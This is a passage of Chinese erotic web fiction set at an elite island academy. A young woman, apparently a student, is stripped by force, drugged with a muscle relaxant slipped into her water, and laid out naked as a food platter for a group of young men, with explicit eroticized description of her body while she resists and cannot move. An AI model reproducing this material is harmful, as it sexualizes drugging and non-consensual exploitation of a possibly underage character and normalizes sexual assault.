然而今天老师还加了新的动作。仪态老师敲着板尺,伸手拉开单白的双腿,展开约有四十五度,再回到她腰侧的位置,稍稍用力向下按单白的小腹,“双腿打开,腹部下沉,腰肢——挺起来!我说过你可以放下吗?保持住,否则再加十分钟!”

这姿势十分屈辱。单白本就未着寸缕,偏还要暴露出来,那感觉真是让人生不如死。

不知过了多久,单白浑身汗如雨下。正听到门外有人轻敲,老师刚道了声“请进”便见殷家两兄弟推开门,笑嘻嘻地走了进来。

仪态老师忙躬身招呼道:“两位少爷——”

殷夺摆摆手,手指遥遥点了点躺椅上的小人,“成果如何?”

殷罗瞪着单白这种奇怪的姿势,眨了眨眼,再眨了眨,越发觉得奇怪,插嘴问道:“这是在做什么?”

仪态老师忙讨好地赶忙回答:“殷二少爷,这是在为……那个,做准备啊!拥有美好的姿仪,将会更增添情趣的嘛!”

因着殷夺和殷罗来了,单白腰肢一落,双腿也紧紧闭拢,缩到一边去。殷罗看到了,却是紧赶着凑过去,笑问:“小东西,舒坦吗?”

殷夺挥了挥手,示意仪态老师退下。他也走过去,与弟弟呈一左一右围堵之势,居高临下俯视一脸防备的少女。

单白没好气地瞪殷罗一眼,“我把你脱光了按在这试试,你不就能知道舒坦与否了吗!”

殷罗摆摆手,“敬谢不敏。这种事情对男人可没那么多要求。”

单白双臂环胸,身下两腿也蜷着,在两人毫无遮掩的视线下感觉周身冷极,不禁怒道:“能不能等我穿了衣服再来?”

殷夺去拉她的手,感觉到她的抵抗,手下不禁更加用力。将她掩胸的手臂扯开,他直接拊掌上去,捏了几把,不禁疑道:“怎么将养这么些天,这里还是小的可怜?”

单白差点爆发,拍开他的手掌,“嫌小别摸啊!再摸,我看不起你!”

“别啊……”

殷罗笑嘻嘻的,也摸了过去,“不过话说回来,又有什么人,是你单大小姐看得过眼的?”

这话的意味可就有点过了。听得出来,殷罗在那跟自己呛火气呢,单白自知是说什么都不对,干脆闭口不言。

只是……

“到底为什么一定要我做这些训练?”

单白不禁追问。现在他们看她的感觉,更像是待宰的祭品,已然放在祭台上等人下刀呢。

殷罗不答,殷夺却是轻轻抚摸她肩头细软的长发,笑得神秘,“很快……你就知道了。”

******

自聚会之后的一月,很快便到了。时光如指缝的沙,再怎样紧紧握着手心,也逃不过全部散尽的下场。

一大早,单白便被老管家和带来的十几名人高马大的女佣,将不停踢打的单白给拎走了。那些女佣都是经过严格训练,身手极好的,也因着是女性,才被派来。一行人押着单白,一路上开车抵达学生会专用的温泉别院。

温泉别院与学生会室并不是同一体系,而且也并不在学院内。全岛除学院占地外,温泉别院建在风景最好,且通有温水泉眼的高岭上,从别院最高处的观景楼看过去,能俯瞰到全岛海景,非常壮丽华美。

温泉别院整体采用日式风,精致的木质院子,围墙不高,墙漆是淡淡的乳白,初一看去整座院子显得小巧而风逸。内里每一条小径皆用大小相仿的乳白色欧泊,夹杂细碎璀璨的水晶颗粒铺就而成。

曲径通幽,亭台楼阁,院里因地制宜栽种许多花样繁多、品质稀有的花木,将中国清新雅致的古风以及日式的精致朴实完美融合在一起。空气里虽然夹杂着一丝硫磺气,有些刺鼻,不过也正是温泉的特色,还有院子里的奇花异草清香满溢进行中和,这别院的确是个天上人间的好地方。

只不过被押解而来的单白根本没有心情去注意这些美景。她被带进一间类似更衣室的屋子里,一进去,先被屋子明显要比外面的湿热低上N个度数的温差冰得够呛。

房间通风很好,单白被押着站在中央,只觉无论从哪个角度都有诡异的穿堂风嗖嗖吹着,她脖颈后的鸡皮疙瘩都起来了!

女佣们开始七手八脚给她脱衣服,单白急得大吼:“放开我……别碰我!滚——都给我滚!”

然而却是没人听她的。她的力气也拼不过那些练过的,即便想要仗着身材矮小逃出,也被那些五大三粗的女性结结实实挡住前路,根本没有任何可趁之机。

很快,在女佣尽心尽力抢衣服的动作下,单白完全一丝不挂地站在低上。

这会没了衣物抵抗,单白只觉更冷了,也不知是气温如此,还是心理作用。单白愤怒归愤怒,却苦于没有办法脱离这些人的监视,正懊恼间,四名女佣出列,一人拽着她四肢的一部分,将她带进房间附设的浴室。

浴室所用的沐浴水源却并非温泉水,最起码没有任何味道。这一沐浴过程中,四名女佣全称以手和毛巾将单白打理干净,丝毫未用任何人工香精制品,甚至哪怕一件带香气的洗浴用品都没用过。

单白的长发事先用套头的防水膜包好,洗浴过程中半点没沾湿。待浴后擦身完毕,一名女佣将她的长发盘在脑后,以两根长柄雕花镂凤银筷簪住,又用一块柔软的红绸蒙住单白的眼睛。

几个人齐齐将她抬起,放在一个平板的好似平日里训练仪态用躺椅的东西上面,后背凉凉的贴着,女佣们怕她乱动,一路上边推着那平板车,其他人便七手八脚地按住她,不过只按在她手腕脚踝的位置,身上却是半点都没有再碰过。

单白在一路迷蒙下被推进一个同样凉爽的屋子,在行至约莫房间正中央的位置时缓缓停了下来。女佣们放开对她的禁锢,而屋子里原本有些吵杂的环境一瞬间静了下来,她似乎听到一些奇怪的“咕噜”、“咕噜”声。

她正要掀了眼睛上的红绸坐起来,却被人轻轻按住双肩。随即冰冷的杯沿搭在她唇边,动作有些强硬地迫她喝了里面味道有点甜的清水。

单白很快抓下红绸,猛然发觉,她已经掉进了狼窝!

房间采用传统日式风,而坐姿也都是跪坐位,面前摆了一个小小的餐桌。正席本是两人,殷罗独坐,旁边空了一位,正眼睛眨也不眨地盯着她的方向。

右一是乐正骁,正悠悠倾倒一小杯清酒,遥遥向着她的方向敬了一杯,微微一笑。他身侧则依次坐着宗执和应无俦,两人似笑非笑地望过来,那眼神里充满掠夺和占有,以及对她的宣告——不久之后,你就是我的!

而殷罗左手边,自是换帖兄弟陶煜千,手里捏着筷子搭在嘴里,眼睛滴溜溜地瞥过来,却是震了一震,像是瞪大了要掉出来一样。

然而最令单白无法接受的,居然是……那个,她曾以为单纯干净的少年蔚年遇,竟然……陪坐在列,正坐在应无俦的身旁,白皙的面容泛着红绯,却是丝毫不敢抬头望向她这边,太过刺激的景象。

单白自然是知道自己身上未着寸缕的。可现在这已经不是重点——她倏地扭头瞪向身旁扶着她上身的殷夺,一字一句仿佛从牙根里咬出来的一般艰难,“这是……要做什么?”

殷夺微笑,华丽精致的俊秀面容好似纯真的天使,“你忘了么?今天可是……试菜会啊……”

单白刚要说话,却感觉到周身一阵疲软,即便只是要抬起手臂,动动手指,身上的力气也像是用尽了一般,再难聚合起来,做出任何肢体动作。她恍然,方才喝下的那杯水里一定下了药,势要让她乖乖听话,任人糟蹋!

殷夺算准了药效发作的时间,刚好赶着将她拥住,慢慢放躺在她身下的平桌上。平桌的规模以及此刻单白的姿态,无一不是重演平日里的仪态训练,殷夺凑近她耳旁,轻轻笑道:“将你平日里所学都拿出来吧,是时候检验一下了!”

单白虚弱无力,被他按在平桌上,连起身的力气都没有。然而思维却越发清晰,听着他低声说:“……放心,只是一点口服的肌肉松弛剂罢了,不会对你有任何伤害的……乖,只有乖乖的,才不会受到更多伤害哦……”

说罢,殷夺拍了拍手,巴掌声响亮清脆。他说:“上菜——”

随后,蒙着双眼的厨师携各式料理食材,在女佣的带领下慢慢走入,站定于单白白嫩的身子前。

单白根本无法动弹,只能眼睁睁地看着厨师将各种食用材质,拿她做盘,一一摆放在自己身上——即便被绑缚住双眼视线,厨师的双手敏感性,以及对食材和女体盛的全局掌控都不受影响,应是经验丰富,如此为豪门富家享受盛宴服务多次。

殷夺走回正位,同众人一起静静看着厨师开宴。

厨师低声向身边打下手的女佣吩咐传递食材,首先以精致银勺盛温凉的巧克力液,将之慢慢倾倒在单白的左乳上。小巧的乳尖接触到温热腻滑的液体,微微颤了颤,受室内温度影响的清凉体表不由得因着这股温热而颤了颤。

白皙腻滑的瘦弱女体好似海洋巨浪之中颠簸不定的小小船只,那么微弱,似乎一个劈头巨浪就能将之压垮。那么惹人怜惜,却又引得众人食指大动。

另一只乳尖被涂上嫩白的液体奶油。深棕以及乳白的鲜明对比,好似两座山峰顶端,一个白雪皑皑,而另一个林荫满布,极为诱人的美景。

厨师的手劲控制极好,将两方椒乳自尖端到乳根都被倾倒满覆的液体。两种食用液慢慢冷却下来,形成好似胸衣一样的保护壳,而两粒茱萸因着刺激而挺立起来,在巧克力和奶油凝固之后微微顶起,看起来那么明显而可爱非常。

接着是摆放水果冷拼。经过微低温短暂冷藏的水果冷拼被摆放在少女的挺直细瘦的肩胛处,以鲜红色的番茄片打底,一层层铺上猕猴桃、柠檬、香蕉等切片,直到摆满少女脖颈至前胸的部位,好似在此处披上一层彩虹层次的鳞片,生动活泼。

当水果切片贴至她前胸时,那么冰冷地触碰着肌心口肌肤,单白只觉自己的呼吸和心跳在那一瞬间似乎也被冻住了,凝滞起来,有什么钝钝的痛,难以纾解。

身上一片冰凉,小腹却用来摆放热乎乎的烤鳗。她的手臂被扯开到某个角度,单白已经无从理会,脑子里乱嗡嗡的一片,感觉只是隐约随着厨师摆放食材的顺序而走,到了双臂处。

细瘦的双臂上贴着薄薄的生鱼片,嫩粉白的色泽,清透有如一片片水晶。然而那冰冷的温度却令她自骨子里开始感到恶寒。

原本屈起的双腿被拉开,明显可以感觉到温热的私处被暴露出来,而她的左腿排布着数种口味的现做寿司,还带着热气,不过幸好不会烫伤她。而右膝处则摆放一盘青蔬。

最令单白无法接受的,是她的密谷之上放着一只冰碗,只要冰碗彻底融化,那么里面的蘸料便会全部染满她整个幽密之处,活像也成了一道菜!而因着前些日子里的美容保养,早已将她此处本就稀疏的毛发尽数刮除干净,密谷早已如同婴儿般稚嫩,没了毛发的阻隔,此刻冰碗被肌肤熨烫着,每滴落一滴冰凉,那掩藏在内的敏感嫩肉都会不由自主震颤一下,让她有种奇怪而刺激的感觉!

盛宴完成,厨师以尊贵的日式礼节向诸位少爷敬拜,而后所有闲杂人等退出门外,将一室靡魅留给屋内众人。

殷夺当先,双手轻轻拍了两下,作为今日日系料理盛宴的开餐礼节。待众人回礼之后,他朗声笑道:“今日试菜,虽然此宴向来被龟毛的日本人认为,须以A型血处女之身盛宴最好,不过诸位本就是为了这个小东西而来,也就不说什么客套之词了,开始吧!”

陶煜千手里擎着两只细细的乌木筷子,空夹了两下,故意作出一副很是疑惑的模样,大声道:“你们说,先从哪里下手的好?”

应无俦当先夹了一块寿司,蘸了蘸冰碗中的调料。冰碗被他的筷子戳弄了一下,颤了颤,碗底在肌肤上倾斜,越发刺激的单白浑身颤抖。

应无俦慢慢将寿司放在口中,眼睛却是对着紧紧闭上眼睛的单白,口中笑着呢喃:“味道不错……”

然而他自己都说不上自己究竟在说什么!

宗执的筷尖落在单白心房附近的香蕉片上,然而将夹未夹,他的筷子却一路慢慢下滑,攀上凝固了巧克力的乳尖,筷尖微微一挑,勾得那处巧克力似有龟裂,里面的小巧尖端不由得一震。

然而那一下却是有些疼痛。单白死死咬着下唇,生怕自己一个忍不住,就在这帮禽兽面前哭泣出声!